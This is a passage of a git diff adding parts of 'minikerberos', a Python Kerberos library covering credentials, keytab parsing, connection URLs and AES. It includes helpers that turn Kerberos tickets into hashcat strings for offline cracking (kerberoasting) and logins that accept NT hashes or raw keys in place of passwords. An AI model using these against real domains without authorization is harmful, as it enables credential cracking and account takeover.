+					salt = (self.domain.upper() + self.username).encode()
+				return string_to_key(Enctype.DES_MD5, self.password.encode(), salt).contents
+			else:
+				raise Exception('There is no key for DES3 encryption')
+
+		else:
+			raise Exception('Unsupported encryption type: %s' % etype.name)
+
+	def get_supported_enctypes(self, as_int = True):
+		supp_enctypes = collections.OrderedDict()
+		if self.kerberos_key_aes_256:
+			supp_enctypes[EncryptionType.AES256_CTS_HMAC_SHA1_96] = 1
+		if self.kerberos_key_aes_128:
+			supp_enctypes[EncryptionType.AES128_CTS_HMAC_SHA1_96] = 1
+
+		if self.password:
+			supp_enctypes[EncryptionType.DES_CBC_CRC] = 1
+			supp_enctypes[EncryptionType.DES_CBC_MD4] = 1
+			supp_enctypes[EncryptionType.DES_CBC_MD5] = 1
+			supp_enctypes[EncryptionType.DES3_CBC_SHA1] = 1
+			supp_enctypes[EncryptionType.ARCFOUR_HMAC_MD5] = 1
+			supp_enctypes[EncryptionType.AES256_CTS_HMAC_SHA1_96] = 1
+			supp_enctypes[EncryptionType.AES128_CTS_HMAC_SHA1_96] = 1
+
+		if self.password or self.nt_hash or self.kerberos_key_rc4:
+			supp_enctypes[EncryptionType.ARCFOUR_HMAC_MD5] = 1
+
+		if self.kerberos_key_des:
+			supp_enctypes[EncryptionType.DES3_CBC_SHA1] = 1
+
+		if as_int == True:
+			return [etype.value for etype in supp_enctypes]
+		return [etype for etype in supp_enctypes]
+
+	@staticmethod
+	def from_keytab(keytab_file_path: str, principal: str, realm: str):
+		cred = KerberosCredential()
+		cred.username = principal
+		cred.domain = realm
+
+		with open(keytab_file_path, 'rb') as kf:
+			#keytab_bytes = kf.read()
+			#keytab = Keytab.from_bytes(keytab_bytes)
+			keytab = Keytab.from_buffer(kf)
+
+			for keytab_entry in keytab.entries:
+				if realm == keytab_entry.principal.realm.to_string():
+					for keytab_principal in keytab_entry.principal.components:
+						if principal == keytab_principal.to_string():
+							enctype = None
+							if Enctype.AES256 == keytab_entry.enctype:
+								enctype = KerberosSecretType.AES256
+							elif Enctype.AES128 == keytab_entry.enctype:
+								enctype = KerberosSecretType.AES128
+							elif Enctype.DES3 == keytab_entry.enctype:
+								enctype = KerberosSecretType.DES3
+							elif Enctype.DES_CRC == keytab_entry.enctype:
+								enctype = KerberosSecretType.DES
+							elif Enctype.DES_MD4 == keytab_entry.enctype:
+								enctype = KerberosSecretType.DES
+							elif Enctype.DES_MD5 == keytab_entry.enctype:
+								enctype = KerberosSecretType.DES
+							elif Enctype.RC4 == keytab_entry.enctype:
+								enctype = KerberosSecretType.RC4
+							if enctype:
+								cred.add_secret(enctype, keytab_entry.key_contents.hex())
+		return cred
+
+	@staticmethod
+	def from_ccache_file(filepath):
+		k = KerberosCredential()
+		k.ccache = CCACHE.from_file(filepath)
+		return k
+
+	def add_secret(self, st: KerberosSecretType, secret: str):
+		if st == KerberosSecretType.PASSWORD or st == KerberosSecretType.PW or st == KerberosSecretType.PASS:
+			if secret == '' or secret is None:
+				self.password = getpass.getpass('Enter Kerberos credential password:')
+			else:
+				self.password = secret
+		elif st == KerberosSecretType.NT or st == KerberosSecretType.RC4:
+			self.nt_hash = secret
+			self.kerberos_key_rc4 = secret
+		elif st == KerberosSecretType.AES128:
+			self.kerberos_key_aes_128 = secret
+		elif st == KerberosSecretType.AES256:
+			self.kerberos_key_aes_256 = secret
+		elif st == KerberosSecretType.AES:
+			bytes.fromhex(secret)
+			if len(secret) == 32:
+				self.kerberos_key_aes_128 = secret
+			elif len(secret) == 64:
+				self.kerberos_key_aes_256 = secret
+			else:
+				raise Exception('AES key incorrect length!')
+		elif st == KerberosSecretType.DES:
+			self.kerberos_key_des = secret
+		elif st == KerberosSecretType.DES3 or st == KerberosSecretType.TDES:
+			self.kerberos_key_des3 = secret
+		elif st == KerberosSecretType.CCACHE:
+			self.ccache = CCACHE.from_file(secret)
+
+	def __str__(self):
+		t = '===KerberosCredential===\r\n'
+		t += 'username: %s\r\n' % self.username
+		t += 'domain: %s\r\n' % self.domain
+		t += 'password: %s\r\n' % self.password
+		t += 'nt_hash: %s\r\n' % self.nt_hash
+		t += 'lm_hash: %s\r\n' % self.lm_hash
+		if self.kerberos_key_aes_256:
+			t += 'kerberos_key_aes_256: %s\r\n' % self.kerberos_key_aes_256
+		if self.kerberos_key_aes_128:
+			t += 'kerberos_key_aes_128: %s\r\n' % self.kerberos_key_aes_128
+		if self.kerberos_key_des:
+			t += 'kerberos_key_des: %s\r\n' % self.kerberos_key_des
+		if self.kerberos_key_rc4:
+			t += 'kerberos_key_rc4: %s\r\n' % self.kerberos_key_rc4
+		if self.kerberos_key_des3:
+			t += 'kerberos_key_des3: %s\r\n' % self.kerberos_key_des3
+		return t
+		
diff --git a/minikerberos/common/keytab.py b/minikerberos/common/keytab.py
new file mode 100644
index 0000000..21486fa
--- /dev/null
+++ b/minikerberos/common/keytab.py
@@ -0,0 +1,237 @@
+#
+#
+# Initial commit and structure: Tamas Jos (@skelsec)
+# Main contributor to this file: Philip Alexiev https://github.com/philip-alexiev
+
+
+# https://web.mit.edu/kerberos/krb5-1.12/doc/formats/keytab_file_format.html
+#
+# Be careful using this parser/writer! The specifications in the MIT Kerberos's official page doesnt match with the file Windows server generates!!
+# Thus this script is to support Windows generated keytabs, not sure about MIT's
+import io
+
+
+class KeytabPrincipal:
+    def __init__(self):
+        self.num_components = None
+        self.name_type = None
+        self.realm = None
+        self.components = []
+
+    @staticmethod
+    def from_asn1(principal, realm):
+        p = KeytabPrincipal()
+        p.name_type = principal['name-type']
+        p.num_components = len(principal['name-string'])
+        p.realm = KeytabOctetString.from_string(realm)
+        for comp in principal['name-string']:
+            p.components.append(KeytabOctetString.from_asn1(comp))
+
+        return p
+
+    @staticmethod
+    def dummy():
+        p = KeytabPrincipal()
+        p.name_type = 1
+        p.num_components = 1
+        p.realm = KeytabOctetString.from_string('kerbi.corp')
+        for _ in range(1):
+            p.components.append(KeytabOctetString.from_string('kerbi'))
+
+        return p
+
+    def to_string(self):
+        return '-'.join([c.to_string() for c in self.components])
+
+    def to_asn1(self):
+        t = {'name-type': self.name_type, 'name-string': [name.to_string() for name in self.components]}
+        return t, self.realm.to_string()
+
+    @staticmethod
+    def from_buffer(buffer):
+        p = KeytabPrincipal()
+        p.num_components = int.from_bytes(buffer.read(2), byteorder='big', signed=False)
+        p.realm = KeytabOctetString.parse(buffer)
+        for _ in range(p.num_components):
+            p.components.append(KeytabOctetString.parse(buffer))
+        p.name_type = int.from_bytes(buffer.read(4), byteorder='big', signed=False)
+        return p
+
+    def to_bytes(self):
+        t = len(self.components).to_bytes(2, byteorder='big', signed=False)
+        t += self.realm.to_bytes()
+        for com in self.components:
+            t += com.to_bytes()
+        t += self.name_type.to_bytes(4, byteorder='big', signed=False)
+        return t
+
+
+class KeytabOctetString:
+    """
+    Same as CCACHEOctetString
+    """
+
+    def __init__(self):
+        self.length = None
+        self.data = None
+
+    @staticmethod
+    def empty():
+        o = KeytabOctetString()
+        o.length = 0
+        o.data = b''
+        return o
+
+    def to_asn1(self):
+        return self.data
+
+    def to_string(self):
+        return self.data.decode()
+    
+    @staticmethod
+    def from_string(data):
+        o = KeytabOctetString()
+        o.data = data.encode()
+        o.length = len(o.data)
+        return o
+
+    @staticmethod
+    def from_asn1(data):
+        o = KeytabOctetString()
+        o.length = len(data)
+        if isinstance(data, str):
+            o.data = data.encode()
+        else:
+            o.data = data
+        return o
+
+    @staticmethod
+    def parse(reader):
+        o = KeytabOctetString()
+        o.length = int.from_bytes(reader.read(2), byteorder='big', signed=False)
+        o.data = reader.read(o.length)
+        return o
+
+    def to_bytes(self):
+        if isinstance(self.data, str):
+            self.data = self.data.encode()
+            self.length = len(self.data)
+        t = len(self.data).to_bytes(2, byteorder='big', signed=False)
+        t += self.data
+        return t
+
+
+class KeytabEntry:
+    def __init__(self):
+        self.principal = None
+        self.timestamp = None
+        self.key_version = None
+        self.enctype = None
+        self.key_length = None
+        self.key_contents = None
+
+    def to_bytes(self):
+        t = self.principal.to_bytes()
+        t += self.timestamp.to_bytes(4, 'big', signed=False)
+        t += self.key_version.to_bytes(1, 'big', signed=False)
+        t += self.enctype.to_bytes(2, 'big', signed=False)
+        t += self.key_length.to_bytes(2, 'big', signed=False)
+        t += self.key_contents
+        return t
+
+    @staticmethod
+    def from_bytes(data):
+        return KeytabEntry.from_buffer(io.BytesIO(data))
+
+    @staticmethod
+    def from_buffer(buffer):
+        ke = KeytabEntry()
+        ke.principal = KeytabPrincipal.from_buffer(buffer)
+        ke.timestamp = int.from_bytes(buffer.read(4), byteorder='big', signed=False)
+        ke.key_version = int.from_bytes(buffer.read(1), 'big', signed=False)
+        ke.enctype = int.from_bytes(buffer.read(2), 'big', signed=False)
+        ke.key_length = int.from_bytes(buffer.read(2), 'big', signed=False)
+        ke.key_contents = buffer.read(ke.key_length)
+        return ke
+
+    def __repr__(self):
+        t = '=== KeytabEntry ===\r\n'
+        t += 'Principal : %s\r\n' % self.principal.to_string()
+        t += 'timestamp : %s\r\n' % self.timestamp
+        t += 'key_version : %s\r\n' % self.key_version
+        t += 'enctype : %s\r\n' % self.enctype
+        t += 'key_length : %s\r\n' % self.key_length
+        t += 'key_contents : %s\r\n' % self.key_contents.hex()
+
+        return t
+
+
+class Keytab:
+    def __init__(self):
+        self.krb5 = 5
+        self.version = 2
+        self.entries = []
+
+    def to_bytes(self):
+        t = self.krb5.to_bytes(1, 'big', signed=False)
+        t += self.version.to_bytes(1, 'big', signed=False)
+        for e in self.entries:
+            data = e.to_bytes()
+            t += len(data).to_bytes(4, 'big', signed=False)
+            t += data
+
+        return t
+
+    @staticmethod
+    def from_bytes(data):
+        return Keytab.from_buffer(io.BytesIO(data))
+
+    @staticmethod
+    def from_buffer(buffer):
+        pos = buffer.tell()
+        buffer.seek(0, 2)
+        buffer_size = buffer.tell() - pos
+        buffer.seek(pos, 0)
+
+        k = Keytab()
+        k.krb5 = int.from_bytes(buffer.read(1), 'big', signed=False)
+        k.version = int.from_bytes(buffer.read(1), 'big', signed=False)
+        i = 0
+        while i < buffer_size:
+            entry_size = int.from_bytes(buffer.read(4), 'big', signed=True)
+            if entry_size == 0:
+                break
+
+            if entry_size < 0:
+                # this is a hole
+                i += entry_size * -1
+                continue
+
+            else:
+                k.entries.append(KeytabEntry.from_bytes(buffer.read(entry_size)))
+                i += entry_size
+
+        return k
+
+    def __repr__(self):
+        t = '=== Keytab ===\r\n'
+        t += 'Version : %s\r\n' % self.version
+        for e in self.entries:
+            t += repr(e)
+
+        return t
+
+
+if __name__ == '__main__':
+    filename = 'Z:\\VMShared\\app1.keytab'
+    with open(filename, 'rb') as f:
+        data = f.read()
+
+    k = Keytab.from_bytes(data)
+    print(repr(k))
+
+    print(k.to_bytes())
+    with open('test.keytab', 'wb') as o:
+        o.write(k.to_bytes())
+
+    assert data == k.to_bytes()
diff --git a/minikerberos/common/proxy.py b/minikerberos/common/proxy.py
new file mode 100644
index 0000000..dcb703a
--- /dev/null
+++ b/minikerberos/common/proxy.py
@@ -0,0 +1,12 @@
+
+class KerberosProxy:
+	def __init__(self, target = None,creds = None, type = None):
+		self.target = target
+		self.creds = creds
+		self.type = type
+
+	def __str__(self):
+		t = '===KerberosTarget===\r\n'
+		t += 'target: %s\r\n' % str(self.target)
+		t += 'creds: %s\r\n' % str(self.creds)
+		return t
diff --git a/minikerberos/common/spn.py b/minikerberos/common/spn.py
new file mode 100644
index 0000000..51d0ac6
--- /dev/null
+++ b/minikerberos/common/spn.py
@@ -0,0 +1,48 @@
+
+
+class KerberosSPN:
+	def __init__(self):
+		self.username = None
+		self.service  = None #the service we are trying to get a ticket for (eg. cifs/mssql...)
+		self.domain   = None #the kerberos realm
+		
+	# https://docs.microsoft.com/en-us/windows/desktop/ad/name-formats-for-unique-spns
+	#def from_spn(self):
+
+	@staticmethod
+	def from_user_email(s):
+		#not actually email, but whatever
+		kt = KerberosSPN()
+		if s.find('@') == -1:
+			raise Exception('Incorrect format, @ sign is missing!')
+		kt.username, kt.domain = s.split('@')
+		return kt
+	
+	@staticmethod
+	def from_target_string(s):
+		"""
+		service/host@domain
+		or
+		host@domain
+		"""
+		kt = KerberosSPN()
+		
+		if s.find('/') != -1:
+			t, kt.domain = s.rsplit('@',1)
+			kt.service, kt.username = t.split('/')
+		else:
+			kt.domain, kt.username = s.split('@')
+		return kt
+
+	def get_principalname(self):
+		if self.service:
+			return [self.service, self.username]
+		return [self.username]
+
+	def get_formatted_pname(self):
+		if self.service:
+			return '%s/%s@%s' % (self.service, self.username, self.domain)
+		return '%s@%s' % (self.username, self.domain)
+	
+	def __str__(self):
+		return self.get_formatted_pname()
\ No newline at end of file
diff --git a/minikerberos/common/target.py b/minikerberos/common/target.py
new file mode 100644
index 0000000..088ff90
--- /dev/null
+++ b/minikerberos/common/target.py
@@ -0,0 +1,19 @@
+
+from minikerberos.common.constants import KerberosSocketType
+
+class KerberosTarget:
+	def __init__(self, ip = None):
+		self.ip = ip
+		self.port = 88
+		self.protocol = KerberosSocketType.TCP
+		self.proxy = None
+		self.timeout = 10
+
+	def __str__(self):
+		t = '===KerberosTarget===\r\n'
+		t += 'ip: %s\r\n' % self.ip
+		t += 'port: %s\r\n' % self.port
+		t += 'protocol: %s\r\n' % self.protocol.name
+		t += 'timeout: %s\r\n' % self.timeout
+		t += 'proxy: %s\r\n' % str(self.proxy)
+		return t
diff --git a/minikerberos/common/url.py b/minikerberos/common/url.py
new file mode 100644
index 0000000..3bad337
--- /dev/null
+++ b/minikerberos/common/url.py
@@ -0,0 +1,221 @@
+
+import getpass
+from minikerberos.common.target import KerberosTarget
+from minikerberos.common.creds import KerberosCredential
+from minikerberos.common.proxy import KerberosProxy
+from minikerberos.common.constants import KerberosSocketType, KerberosSecretType
+from urllib.parse import urlparse, parse_qs
+
+from asysocks.common.clienturl import SocksClientURL 
+
+kerberos_url_help_epilog = """==== Extra Help ====
+   kerberos connection url secret types: 
+   - Plaintext: "pw" or "pass" or "password"
+   - NT hash: "nt"
+   - RC4 key: "rc4"
+   - AES128/256 key: "aes"
+   - CCACHE file: "ccache"
+   - SSPI: "sspi"
+   
+   Example:
+   - Plaintext + SOCKS5 proxy:
+      kerberos+password://domain\\user:SecretPassword@127.0.0.1/proxytype=socks5&proxyhost=127.0.0.1&proxyport=1080
+   - Plaintext:
+      kerberos+password://domain\\user:SecretPassword@127.0.0.1
+      kerberos+pw://domain\\user:SecretPassword@127.0.0.1
+      kerberos+pass://domain\\user:SecretPassword@127.0.0.1
+   - NT hash:
+      kerberos+nt://domain\\user:921a7fece11f4d8c72432e41e40d0372@127.0.0.1
+   - SSPI:
+      TEST/user/sspi:@192.168.1.1
+   - RC4 key:
+      kerberos+rc4://domain\\user:921a7fece11f4d8c72432e41e40d0372@127.0.0.1
+   - AES key:
+      kerberos+aes://domain\\user:921a7fece11f4d8c72432e41e40d0372@127.0.0.1
+   - CCACHE file:
+      kerberos+ccache://domain\\user:creds.ccache@127.0.0.1
+   - KEYTAB file:
+      kerberos+keytab://domain\\user:creds.keytab@127.0.0.1
+"""
+
+
+kerberosclienturl_param2var = {
+	'timeout': ('timeout', [int]),
+}
+
+class KerberosClientURL:
+	def __init__(self):
+		self.domain = None
+		self.username = None
+		self.secret_type = None
+		self.secret = None
+
+
+		self.dc_ip = None
+		self.protocol = KerberosSocketType.TCP
+		self.timeout = 10
+		self.port = 88
+
+		self.proxy = None
+
+	def get_target(self):
+		res = KerberosTarget()
+		res.ip = self.dc_ip
+		res.port = self.port
+		res.protocol = KerberosSocketType.TCP
+		res.proxy = self.proxy
+		res.timeout = self.timeout
+		return res
+
+	def get_creds(self):
+		if self.secret_type == KerberosSecretType.KEYTAB:
+			return KerberosCredential.from_keytab(self.secret, self.username, self.domain)
+
+		res = KerberosCredential()
+		res.username = self.username
+		res.domain = self.domain
+
+		if self.secret_type in [KerberosSecretType.PASSWORD, KerberosSecretType.PW, KerberosSecretType.PASS]:
+			res.password = self.secret
+		elif self.secret_type in [KerberosSecretType.NT, KerberosSecretType.RC4]:
+			if len(self.secret) != 32:
+				raise Exception('Incorrect RC4/NT key! %s' % self.secret)
+			res.nt_hash = self.secret
+			res.kerberos_key_rc4 = self.secret
+		elif self.secret_type in [KerberosSecretType.AES128, KerberosSecretType.AES256, KerberosSecretType.AES]:
+			if self.secret_type == KerberosSecretType.AES:
+				if len(self.secret) == 32:
+					res.kerberos_key_aes_128 = self.secret
+				elif len(self.secret) == 64:
+					res.kerberos_key_aes_256 = self.secret
+				else:
+					raise Exception('Incorrect AES key! %s' % self.secret)
+			elif self.secret_type == KerberosSecretType.AES128:
+				if len(self.secret) != 32:
+					raise Exception('Incorrect AES128 key! %s' % self.secret)
+				res.kerberos_key_aes_128 = self.secret
+			else:
+				if len(self.secret) != 64:
+					raise Exception('Incorrect AES256 key! %s' % self.secret)
+				res.kerberos_key_aes_256 = self.secret
+		elif self.secret_type == KerberosSecretType.DES:
+			if len(self.secret) != 16:
+				raise Exception('Incorrect DES key! %s' % self.secret)
+			res.kerberos_key_des = self.secret
+		elif self.secret_type in [KerberosSecretType.DES3, KerberosSecretType.TDES]:
+			if len(self.secret) != 24:
+				raise Exception('Incorrect DES3 key! %s' % self.secret)
+			res.kerberos_key_des3 = self.secret
+		elif self.secret_type == KerberosSecretType.CCACHE:
+			res.ccache = self.secret
+		else:
+			raise Exception('Missing/unknown secret_type!')
+
+		return res
+
+	@staticmethod
+	def from_url(url_str):
+		res = KerberosClientURL()
+		url = urlparse(url_str)
+
+		res.dc_ip = url.hostname
+		schemes = url.scheme.upper().split('+')
+		
+		if schemes[0] not in ['KERBEROS', 'KERBEROS-TCP, KERBEROS-UDP', 'KRB5', 'KRB5-UDP', 'KRB5-TCP']:
+			raise Exception('Unknown protocol! %s' % schemes[0])
+
+		if schemes[0].endswith('UDP') is True:
+			res.protocol = KerberosSocketType.UDP
+		
+		ttype = schemes[1]
+		if ttype.find('-') != -1 and ttype.upper().endswith('-PROMPT'):
+			ttype = ttype.split('-')[0]
+			res.secret = getpass.getpass()
+		try:
+			res.secret_type = KerberosSecretType(ttype)
+		except:
+			raise Exception('Unknown secret type! %s' % ttype)
+		
+		if url.username is not None:
+			if url.username.find('\\') != -1:
+				res.domain , res.username = url.username.split('\\')
+			else:
+				raise Exception('Domain missing from username!')
+		else:
+			raise Exception('Missing username!')
+		
+		if res.secret is None:
+			res.secret = url.password
+		if url.port is not None:
+			res.port = int(url.port)
+		
+		query = parse_qs(url.query)
+		proxy_type = None
+		for k in query:
+			if k == 'proxytype':
+				proxy_type = query[k][0]
+
+			
+			if k in kerberosclienturl_param2var:
+				data = query[k][0]
+				for c in kerberosclienturl_param2var[k][1]:
+					data = c(data)
+
+					setattr(
+							res, 
+							kerberosclienturl_param2var[k][0], 
+							data
+						)
+		
+		if proxy_type is not None:
+			cu = SocksClientURL.from_params(url_str)
+			cu[-1].endpoint_ip = res.dc_ip
+			cu[-1].endpoint_port = res.port
+
+			res.proxy = KerberosProxy(cu, None, type='SOCKS')
+
+
+		
+		if res.username is None:
+			raise Exception('Missing username!')
+		if res.secret is None:
+			raise Exception('Missing secret/password!')
+		if res.secret_type is None:
+			raise Exception('Missing secret_type!')
+		if res.dc_ip is None:
+			raise Exception('Missing target hostname!')
+		
+		return res
+
+if __name__ == '__main__':
+	urls = [
+		'kerberos+password://domain\\user:pass@word34tnk;adfs@127.0.0.1',
+		'kerberos+aes://domain\\user:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@dc_ip',
+		'kerberos+aes256://domain\\user:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@dc_ip',
+		'kerberos+aes128://domain\\user:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@dc_ip',
+		'kerberos+aes128://domain\\user:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@dc_ip',
+		'kerberos+rc4://domain\\user:password@dc_ip',
+		'kerberos+rc4://domain\\user:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@dc_ip',
+		'kerberos+nt://domain\\user:password@dc_ip',
+		'kerberos+nt://domain\\user:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@dc_ip',
+		'kerberos+des://domain\\user:password@dc_ip',
+		'kerberos+des://domain\\user:AAAAAAAAAAAAAAAA@dc_ip',
+		'kerberos+password://domain\\user:password34tnk;adfs%40#@dc_ip',
+		'kerberos+ccache://domain\\user:password@dc_ip',
+		'kerberos+keytab://domain\\user:password@dc_ip',
+		'kerberos+aes://domain\\user:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@dc_ip/?timeout=99',
+		'kerberos+aes://domain\\user:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@dc_ip/?timeout=77&proxyhost=127.0.0.1&proxytype=socks5',
+	]
+	for url in urls:
+		try:
+			print(url)
+			cu = KerberosClientURL.from_url(url)
+			target = cu.get_target()
+			creds = cu.get_creds()
+			print(target)
+			print(creds)
+			input()
+		except Exception as e:
+			print(e)
+			input()
+	
\ No newline at end of file
diff --git a/minikerberos/common/utils.py b/minikerberos/common/utils.py
new file mode 100644
index 0000000..31559e3
--- /dev/null
+++ b/minikerberos/common/utils.py
@@ -0,0 +1,67 @@
+
+import datetime
+
+def print_table(lines, separate_head=True):
+	"""Prints a formatted table given a 2 dimensional array"""
+	#Count the column width
+	widths = []
+	for line in lines:
+			for i,size in enumerate([len(x) for x in line]):
+					while i >= len(widths):
+							widths.append(0)
+					if size > widths[i]:
+							widths[i] = size
+	   
+	#Generate the format string to pad the columns
+	print_string = ""
+	for i,width in enumerate(widths):
+			print_string += "{" + str(i) + ":" + str(width) + "} | "
+	if (len(print_string) == 0):
+			return
+	print_string = print_string[:-3]
+	   
+	#Print the actual data
+	for i,line in enumerate(lines):
+			print(print_string.format(*line))
+			if (i == 0 and separate_head):
+					print("-"*(sum(widths)+3*(len(widths)-1)))
+
+
+
+# this is from impacket, a bit modified
+windows_epoch = datetime.datetime(1970,1,1, tzinfo=datetime.timezone.utc)
+def dt_to_kerbtime(dt):
+	td = dt - windows_epoch
+	return int((td.microseconds + (td.seconds + td.days * 24 * 3600) * 10**6) / 1e6)
+
+def TGSTicket2hashcat(res):		
+	tgs_encryption_type    = int(res['ticket']['enc-part']['etype'])
+	tgs_name_string        = '@'.join(res['ticket']['sname']['name-string']) #[0]
+	tgs_realm              = res['ticket']['realm']
+
+	if tgs_encryption_type == 23:
+		tgs_checksum           = res['ticket']['enc-part']['cipher'][:16]
+		tgs_encrypted_data2    = res['ticket']['enc-part']['cipher'][16:]
+		return '$krb5tgs$%s$*%s$%s$spn*$%s$%s' % (tgs_encryption_type,tgs_name_string,tgs_realm, tgs_checksum.hex(), tgs_encrypted_data2.hex() )
+	
+	elif tgs_encryption_type in [17,18]:
+		# $krb5tgs$17$user$realm$ae8434177efd09be5bc2eff8$90b4ce5b266821adc26c64f71958a475cf9348fce65096190be04f8430c4e0d554c86dd7ad29c275f9e8f15d2dab4565a3d6e21e449dc2f88e52ea0402c7170ba74f4af037c5d7f8db6d53018a564ab590fc23aa1134788bcc4a55f69ec13c0a083291a96b41bffb978f5a160b7edc828382d11aacd89b5a1bfa710b0e591b190bff9062eace4d26187777db358e70efd26df9c9312dbeef20b1ee0d823d4e71b8f1d00d91ea017459c27c32dc20e451ea6278be63cdd512ce656357c942b95438228e
+		# $krb5tgs$18$user$realm$8efd91bb01cc69dd07e46009$7352410d6aafd72c64972a66058b02aa1c28ac580ba41137d5a170467f06f17faf5dfb3f95ecf4fad74821fdc7e63a3195573f45f962f86942cb24255e544ad8d05178d560f683a3f59ce94e82c8e724a3af0160be549b472dd83e6b80733ad349973885e9082617294c6cbbea92349671883eaf068d7f5dcfc0405d97fda27435082b82b24f3be27f06c19354bf32066933312c770424eb6143674756243c1bde78ee3294792dcc49008a1b54f32ec5d5695f899946d42a67ce2fb1c227cb1d2004c0 
+
+		tgs_checksum           = res['ticket']['enc-part']['cipher'][-12:]
+		tgs_encrypted_data2    = res['ticket']['enc-part']['cipher'][:-12]
+		return '$krb5tgs$%s$%s$%s$%s$%s' % (tgs_encryption_type,tgs_name_string,tgs_realm, tgs_checksum.hex(), tgs_encrypted_data2.hex() )
+	
+	else:
+		return 'unknown$enctype$%s' % tgs_encryption_type
+		
+	
+def TGTTicket2hashcat(res):
+	tgt_encryption_type    = int(res['enc-part']['etype'])
+	tgt_name_string        = res['cname']['name-string'][0]
+	tgt_realm              = res['crealm']
+	tgt_checksum           = res['enc-part']['cipher'][:16]
+	tgt_encrypted_data2    = res['enc-part']['cipher'][16:]
+	
+	return '$krb5asrep$%s$%s@%s:%s$%s' % (tgt_encryption_type,tgt_name_string, tgt_realm, tgt_checksum.hex(), tgt_encrypted_data2.hex())
+	
\ No newline at end of file
diff --git a/minikerberos/crypto/AES/AES.py b/minikerberos/crypto/AES/AES.py
new file mode 100644
index 0000000..9e6942e
--- /dev/null
+++ b/minikerberos/crypto/AES/AES.py
@@ -0,0 +1,612 @@
+
+#https://github.com/ricmoo/pyaes/blob/master/pyaes/aes.py
+# The MIT License (MIT)
+#
+# Copyright (c) 2014 Richard Moore
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+
+# This is a pure-Python implementation of the AES algorithm and AES common
+# modes of operation.
+
+# See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
+
+# Honestly, the best description of the modes of operations are the wonderful
+# diagrams on Wikipedia. They explain in moments what my words could never
+# achieve. Hence the inline documentation here is sparer than I'd prefer.
+# See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
+
+# Also useful, PyCrypto, a crypto library implemented in C with Python bindings:
+# https://www.dlitz.net/software/pycrypto/
+
+
+# Supported key sizes:
+#   128-bit
+#   192-bit
+#   256-bit
+
+
+# Supported modes of operation:
+#   ECB - Electronic Codebook
+#   CBC - Cipher-Block Chaining
+#   CFB - Cipher Feedback
+#   OFB - Output Feedback
+#   CTR - Counter
+
+
+# See the README.md for API details and general information.
+
+
+import copy
+import struct
+
+__all__ = ["AES", "AESModeOfOperationCTR", "AESModeOfOperationCBC", "AESModeOfOperationCFB",
+		   "AESModeOfOperationECB", "AESModeOfOperationOFB", "AESModesOfOperation", "Counter"]
+
+
+def _compact_word(word):
+	return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3]
+
+def _string_to_bytes(text):
+	return list(ord(c) for c in text)
+
+def _bytes_to_string(binary):
+	return "".join(chr(b) for b in binary)
+
+def _concat_list(a, b):
+	return a + b
+
+
+# Python 3 compatibility
+try:
+	xrange
+except Exception:
+	xrange = range
+
+	# Python 3 supports bytes, which is already an array of integers
+	def _string_to_bytes(text):
+		if isinstance(text, bytes):
+			return text
+		return [ord(c) for c in text]
+
+	# In Python 3, we return bytes
+	def _bytes_to_string(binary):
+		return bytes(binary)
+
+	# Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first
+	def _concat_list(a, b):
+		return a + bytes(b)
+
+
+# Based *largely* on the Rijndael implementation
+# See: http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf
+class AES(object):
+	'''Encapsulates the AES block cipher.
+
+	You generally should not need this. Use the AESModeOfOperation classes
+	below instead.'''
+
+	# Number of rounds by keysize
+	number_of_rounds = {16: 10, 24: 12, 32: 14}
+
+	# Round constant words
+	rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ]
+
+	# S-box and Inverse S-box (S is for Substitution)
